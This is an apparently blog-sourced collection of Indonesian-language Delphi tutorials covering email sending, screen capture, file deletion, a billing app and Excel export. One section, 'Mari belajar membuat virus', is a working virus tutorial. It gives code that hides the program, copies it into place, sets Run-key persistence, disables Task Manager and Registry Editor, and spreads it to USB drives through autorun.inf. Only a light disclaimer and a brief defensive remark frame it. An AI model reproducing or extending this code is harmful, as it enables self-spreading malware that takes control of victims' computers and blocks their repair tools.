Listing code Mengirim Email dengan Delphi

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
edtSubject: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
edtNamaPengirim: TEdit;
edtEmailPengirim: TEdit;
Label4: TLabel;
edtNamaPenerima: TEdit;
edtEmailPenerima: TEdit;
Label5: TLabel;
MemoMessage: TMemo;
Label6: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses MAPI;

{$R *.dfm}

function SendMail(const Subject, Body, FileName,
SenderName, SenderEMail,
RecipientName, RecipientEMail: string): Integer;
var
Message: TMapiMessage;
lpSender, lpRecipient: TMapiRecipDesc;
FileAttach: TMapiFileDesc;
SM: TFNMapiSendMail;
MAPIModule: HModule;
begin
FillChar(Message, SizeOf(Message), 0);
with Message do
begin
if (Subject <> '') then
lpszSubject := PChar(Subject);
if (Body <> '') then
lpszNoteText := PChar(Body);
if (SenderEmail <> '') then
begin
lpSender.ulRecipClass := MAPI_ORIG;
if (SenderName = '') then
lpSender.lpszName := PChar(SenderEMail)
else
lpSender.lpszName := PChar(SenderName);
lpSender.lpszAddress := PChar(SenderEmail);
lpSender.ulReserved := 0;
lpSender.ulEIDSize := 0;
lpSender.lpEntryID := nil;
lpOriginator := @lpSender;
end;
if (RecipientEmail <> '') then
begin
lpRecipient.ulRecipClass := MAPI_TO;
if (RecipientName = '') then
lpRecipient.lpszName := PChar(RecipientEMail)
else
lpRecipient.lpszName := PChar(RecipientName);
lpRecipient.lpszAddress := PChar(RecipientEmail);
lpRecipient.ulReserved := 0;
lpRecipient.ulEIDSize := 0;
lpRecipient.lpEntryID := nil;
nRecipCount := 1;
lpRecips := @lpRecipient;
end
else lpRecips := nil;
if (FileName = '') then
begin
nFileCount := 0;
lpFiles := nil;
end
else
begin
FillChar(FileAttach, SizeOf(FileAttach), 0);
FileAttach.nPosition := Cardinal($FFFFFFFF);
FileAttach.lpszPathName := PChar(FileName);
nFileCount := 1;
lpFiles := @FileAttach;
end;
end;
MAPIModule := LoadLibrary(PChar(MAPIDLL));
if MAPIModule = 0 then
Result := -1
else
try
@SM := GetProcAddress(MAPIModule, 'MAPISendMail');
if @SM <> nil then
begin
Result := SM(0, Application.Handle, Message, MAPI_DIALOG or MAPI_LOGON_UI, 0);
end
else
Result := 1;
finally
FreeLibrary(MAPIModule);
end;
if Result <> 0 then
MessageDlg('Gagal mengirim email (' + IntToStr(Result) + ').', mtError, [mbOK], 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
SendMail(edtSubject.Text,
MemoMessage.Text,
'',
edtNamaPengirim.Text, edtEmailPengirim.Text,
edtNamaPenerima.Text, edtEmailPenerima.Text);
end;

end.

Menghapus File ke Recycle Bin

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
FileOpStruc: TSHFileOpStruct;
s: PChar;
begin
s := 'C:\coba.txt';
with FileOpStruc do
begin
Wnd := 0;
wFunc := FO_DELETE;
pFrom := s;
fFlags := FOF_ALLOWUNDO
end;
SHFileOperation(FileOpStruc);
end;

end.

Capture Gambar Desktop

Atau, yang biasa disebut screen capture. Di Delphi, agar tidak menurunkan kualitas gambar hasil capture/snapshot, biasanya digunakakn TBitmap untuk menampung hasilnya. Nanti baru diubah ke format gambar lain yang diinginkan.

Tiap-tiap window di Windows memiliki handlenya sendiri, berupa bilangan bulat bertipe Dword (4 byte). Dekstop pun adalah sebuah window. Bila kita mengetahui handle sebuah window, kita dapat mengambil device context-nya (DC) berupa sebuah handle lain bertipe HDC (Handle of Device Context). Dari handle DC inilah, kita dapat mengcopy isi DC tersebut ke Bitmap.

Delphi mempermudah kita mengakses dan mengelola DC dengan sebuah class bernama TCanvas. Di atas TCanvas ini kita dapat menggambar, membuat teks, membuat efek-efek visual, ataupun menyalin dari dan ke Canvas lain.

Berikut potongan kode untuk mengambil handle window Desktop, mengambil handle DC (HDC)-nya dan mengcopynya ke TBitmap, dan menampilkannya pada sebuah TImage di atas Form.

01 function TFMain.SnapDesktop: TBitmap;
02 var
03 DC: TCanvas;
04 HDesk: THandle;
05 HCanvas: HDC;
06 w, h: integer;
07 begin
08 HDesk := GetDesktopWindow;
09 RefreshDesktop;
10 DC:= TCanvas.Create;
11 Result := TBitmap.Create;
12 try
13 dc.Handle := GetWindowDC(hdesk);
14 w := Screen.Width;
15 h := Screen.Height;
16 Result.Width := w;
17 Result.Height := h;
18 BitBlt(Result.Canvas.Handle, 0,0,w, h, dc.Handle, 0, 0, SRCCOPY);
19 finally
20 DC.Free;
21 end;
22 end;

Pada kode di atas, kita temui beberapa fungsi:

GetDesktopWindow() untuk mengambil handle desktop Windows.
GetWindowDC(handleWindow) untuk mengambil handle device context, dalam hal ini desktop Windows.
BitBlt() untuk mengcopy isi sebuah device context (DC) ke device context lainnya. Dalam contoh di atas, mengcopy dari DC desktop ke DC Bitmap.

Fungsi SnapDesktop di atas mengembalikan sebuah instance Bitmap yang kemudian dapat ditampilkan ke TImage, di-save ke file, atau diubah ke format gambar lainnya. Dalam contoh ini, Bitmap diubah ke gambar JPG (TJPEGImage) dengan kode berikut:

1 jpg := TJPEGImage.Create;
2 try
3 jpg.Assign(VariabelBitmap);
4 jpg.SaveToFile(NamaFile);
5 finally
6 jpg.Free;
7 end;

Dalam contoh kode yang tersedia untuk didownload, juga tersedia sebuah fungsi untuk memotong gambar sehingga hanya bagian tertentu saja yang diambil.

Berikut tampilan contoh aplikasi:





Download

Silahkan download WinSnap:

WinSnap Binary – 730KB
WinSnap Binary (7Zipped) – 280KB
WinSnap Source (7Zipped) – 20KB

UPDATE:

WinSnap Binary + Source (7Zipped) – 300KB. Telah ditambahkan fungsi snap window tertentu.

Mari belajar membuat virus... :D

Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:

• Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
• Meng-copy dirinya ke direktori sistem
• Membuat dirinya otomatis dijalankan pada saat startup Windows
• Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
• Men-copy dirinya ke media removable semacam flashdisk
• Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.

Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:

Yang udah pasti, Delphi
Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam
Album Yovie & Nuno dan segelas teh panas ;)

Attack #1 - Menyembunyikan diri

Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create:

Application.ShowMainForm := False;

Attack #2 - Men-copy diri ke sistem

Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini:

CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);

Attack #3 - Startup otomatis

Windows akan menjalankan program/script yang diletakkan pada:

• HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
• HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
• HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
• HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
• HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
• HKLM\Software\Microsoft\Windows\CurrentVersion\Run
• HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
• HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
• HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
• HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
• HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
• HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
• C:\Documents and Settings\All Users\Start Menu\Programs\Startup
• C:\Documents and Settings\[username]\Start Menu\Programs\Startup

Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.

uses
Registry;

var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
Reg.CloseKey;

Attack #4 - Disable tools bawaan Windows

Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!

uses
Registry;

var
Reg : TRegistry;

begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
Reg.CloseKey;

Attack #5 - Menyebarkan diri ke flashdisk

Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\

var
Atr : TextFile;

begin
if FileExists('G:\autorun.inf')= False and
FileExists('G:\MyVirus.exe') = False then
begin
//virus belum men-copy dirinya, copy...
CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);

//tulis file autorun.inf
AssignFile(Atr, 'G:\autorun.inf');
ReWrite(Atr);
WriteLn(Atr, '[autorun]');
WriteLn(Atr, 'open=MyVirus.exe');
CloseFile(Atr);
end;
end;

Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.

Contoh Aplikasi Billing Warnet

Entah beberapa hari ini saya lebih suka bernostalgia dengan program-program delphi yang pernah saya buat mulai dari semester 2 sampai semester sekarang ini. Kali ini adalah program atau aplikasi delphi yang kali pertama saya buat. Bisa dikatakan program ini sangat sederhana, kualitasnya juga tidak begitu baik. Saya sama sekali tidak menyarankan untuk menggunakan program delphi ini. Program ini adalah program billing yang bisa digunakan untuk billing warnet,game center, rental komputer dan billing warnet wifi (didaerahku ada loh warnet wifi, jadi orang yang dateng harus bawa laptop sendiri. Per jamnya 1000 perak -solusi hemat bagi yang punya laptop). Karena ini program awal saya (bukan proyek, tetapi hanya pekerjaan pribadi saja) banyak sekali bugs, saya tidak bisa menjelaskan satu persatu, karena saya sendiri malah tidak bisa mengenali bugs itu. Akhirnya program tersebut berhenti dikembangkan. Hebatnya (saya kira begitu) program ini berhasil dikembangkan sampai versi 1.5. Ada beragam versi, mulai versi biling dengan database access, sampai dengan flat database(menggunakan text biasa sebagai penampung data). Anda bisa mendownload source code dan file binarinya

Fitur program ini sebagai berikut:

• Flat Database feature
• Skin yang mudah diganti-ganti, seperti winamp. Skin ini menggunakankomponen SuiSkin
• 21 Client yang bisa di handle
• Multi Operator, biasanya warnet buka 24 jam sehari, untuk itu diperlukan pergantian shif, maka program ini support multi operator, meskipun pada tahap yang paling sederhana
• Smart Recovery, fitur ini digunakan untuk mengembalikan data-data biling jika komputer crash atau listrik down.
• Optimasi penggunaan memory komputer
• Quick notes feature yang digunakan untuk mencatat hal-hal penting.
• Report feature

Versi biling ini adalah 1.5 Updated, untuk versi dibawahnya hilang entah kemana. Sekali lagi program delphi ini adalah program pribadi, lebih kepada experimen dan kepuasan pribadi. Jadi jangan ditertawakan atas kejelekan dan kekurangan contoh program delphi ini.

Download contoh program aplikasi delphi billing warnet(Binary)

Download contoh program aplikasi delphi billing warnet(Source Code)

PS: sebagai catatan, biling warnet ditulis dengan delphi 7, kemungkinan besar bisa dibuka dengan menggunakan delphi 5 atau 6 tetapi saya belum mencobanya. Billing ini menggunakan skin atau komponen tambahan yang perlu diinstall pada delphi. Nama komponen skinnya adalah Sui Skin, silahkan cari di internet. Jadi sebelum membuka source code program delphi ini, pastikan dulu anda sudah menginstall suiskin.

Mendapatkan IP Addres dari URL yang diberikan

Nah kawan, sekarang aku mau share dikit tenang delphi..
Kali ini aku mau buat aplikasi yang bisa memberitahukan kita IP seseorang, kan kalo udah tau IP seseorang kita bisa maen-maen dengan PC-nya.. hehehe

Langsung aja y.

uses
Winsock;


function IAddrToHostName(const IP: string): string;
var
i: Integer;
p: PHostEnt;
begin
Result := '';
i := inet_addr(PChar(IP));
if i <> u_long(INADDR_NONE) then
begin
p := GetHostByAddr(@i, SizeOf(Integer), PF_INET);
if p <> nil then Result := p^.h_name;
end
else
Result := 'Invalid IP address';
end;

Eksport Data Bag. II

Nah untuk bagian ke-2 ini saya akan menuliskan listing program uintuk meng-eksport data dari DBGrid ke Excel, jadi diharapkan aplikasi yang kawan buat hasil proses maupun output yang akan di cetak bisa di cetak kedalam excel..

Dan ini adalah listing nya..

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,comobj, StdCtrls, DB, DBTables, Grids, DBGrids;

type
TForm1 = class(TForm)
DataSource1: TDataSource;
DBGrid1: TDBGrid;
Table1: TTable;
Excel: TButton;
procedure ExcelClick(Sender: TObject);
private
{ Private declarations }
XlApp, XlBook, XlSheet, XlSheets, Range,chat : Variant; // Excel 97
WApp, Word : Variant; // Word 97

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ExcelClick(Sender: TObject);
var i,x:integer;

Sfile:string;
begin
// buka excel
XlApp := CreateOleObject('Excel.Application');
// tambahkan workbook
XlBook := XlApp.WorkBooks.Add;
// tambahkan worksheet
XlSheet := XlBook.worksheets.add;
//cetak header field dari dbgrid
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2,i+1].value:=dbgrid1.columns[i].Title.Caption;
end;
// transfer data ke excel
table1.First;
x:=1;
while not table1.Eof do
begin
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2+x,i+1].value:=dbgrid1.Fields[i].Text;
end;
table1.Next;
inc(x);
end;

//menampilkan aplikasi //XlApp.visible:=true;

//script dibawah ini untuk dialog disimpan atau ditampilkan

if MessageDlg('Apakah hasil export ditampilkan..?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then
begin
MessageDlg('Hasil Ditampilkan', mtInformation,
[mbOk], 0);
XlApp.visible:=true;
end
else
//simpan ke file
begin
Sfile:= InputBox('Nama File', 'hasil export', 'c:\hasil.xls');
XlApp.ActiveWorkbook.SaveAs(sfile);
XlApp.visible:=true;
end


end;

end.


Simpel kan....?? Selamat mencoba..